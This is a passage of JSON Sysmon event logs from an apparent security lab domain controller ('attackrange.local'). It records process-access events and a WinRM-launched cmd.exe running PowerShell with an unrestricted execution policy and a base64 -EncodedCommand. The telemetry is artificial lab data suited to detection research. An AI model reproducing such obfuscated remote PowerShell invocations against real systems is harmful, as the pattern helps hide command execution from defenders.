11:55:38.709","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4288,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.709\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.709","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4289,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nProcessGuid: {90617006-413A-5F2D-0000-0010250D0600}\r\nProcessId: 2964\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413A-5F2D-0000-00201E0A0600}\r\nLogonId: 0x60A1E\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-413A-5F2D-0000-0010550A0600}\r\nParentProcessId: 2804\r\nParentImage: C:\\Windows\\System32\\winrshost.exe\r\nParentCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","ProcessGuid":"{90617006-413A-5F2D-0000-0010250D0600}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413A-5F2D-0000-00201E0A0600}","LogonId":"0x60a1e","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-413A-5F2D-0000-0010550A0600}","ParentProcessId":"2804","ParentImage":"C:\\Windows\\System32\\winrshost.exe","ParentCommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4290,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010550A0600}\r\nSourceProcessId: 2804\r\nSourceThreadId: 3696\r\nSourceImage: C:\\Windows\\system32\\WinrsHost.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010250D0600}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010550A0600}","SourceProcessId":"2804","SourceThreadId":"3696","SourceImage":"C:\\Windows\\system32\\WinrsHost.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010250D0600}","TargetProcessId":"2964","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4291,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010250D0600}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010250D0600}","TargetProcessId":"2964","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4292,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4293,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: 